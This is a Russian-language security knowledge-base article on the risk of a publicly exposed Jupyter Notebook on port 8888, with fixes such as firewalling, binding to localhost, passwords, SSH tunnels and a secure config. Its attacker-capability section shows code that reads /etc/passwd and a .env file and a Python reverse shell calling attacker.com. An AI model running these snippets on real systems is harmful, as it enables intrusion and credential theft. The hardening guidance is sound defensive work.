Knowledge Base

Jupyter Notebook открыт публично (порт 8888)

Jupyter Notebook открыт публично — порт 8888

Категория: Server Hardening · Риск: critical

Jupyter Notebook открыт публично — порт 8888

Почему это абсолютно критично

Jupyter Notebook предоставляет **интерактивный Python/R/Julia интерпретатор** через браузер. Без пароля или с дефолтным токеном это эквивалентно SSH-доступу с правами пользователя, запустившего Jupyter.

# Что может сделать атакующий через открытый Jupyter:

# 1. Читать файлы сервера
import subprocess
result = subprocess.run(['cat', '/etc/passwd'], capture_output=True, text=True)
print(result.stdout)

# 2. Скачать .env файл
with open('/app/.env') as f:
    print(f.read())

# 3. Установить reverse shell
import socket, subprocess, os
s = socket.socket()
s.connect(('attacker.com', 4444))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])

# 4. Запустить любую команду
import os
os.system('whoami && id && hostname')

Немедленное исправление

Закрыть публичный доступ

# ufw — закрыть порт
ufw deny 8888

# Или убить Jupyter
pkill -f jupyter

Правильный запуск (только localhost)

# Запустить ТОЛЬКО на localhost
jupyter notebook --no-browser --ip=127.0.0.1 --port=8888

# С паролем
jupyter notebook password  # установить пароль
jupyter notebook --no-browser --ip=127.0.0.1

Docker — не пробрасывать порт публично

# НЕПРАВИЛЬНО:
services:
  jupyter:
    ports:
      - "8888:8888"  # ← открыт всему миру

# ПРАВИЛЬНО — только localhost:
    ports:
      - "127.0.0.1:8888:8888"

Безопасный удалённый доступ через SSH туннель

# На локальной машине — создать SSH-туннель
ssh -L 8888:127.0.0.1:8888 user@remote-host

# Теперь открыть http://localhost:8888 в браузере
# Jupyter НЕ доступен извне, только через туннель

JupyterHub для команды

# Если нужен доступ для нескольких пользователей — используйте JupyterHub
# с аутентификацией через PAM, OAuth, LDAP
pip install jupyterhub
jupyterhub --ip=0.0.0.0 --port=8000 --ssl-key /path/to/ssl.key --ssl-cert /path/to/ssl.crt

Конфигурация безопасности

# jupyter_notebook_config.py
c.NotebookApp.ip = '127.0.0.1'           # только localhost
c.NotebookApp.open_browser = False
c.NotebookApp.password = 'argon2:...'    # хэш от jupyter notebook password
c.NotebookApp.allow_root = False          # не запускать от root
c.NotebookApp.certfile = '/path/cert.pem' # TLS
c.NotebookApp.keyfile = '/path/key.pem'

Связанные проверки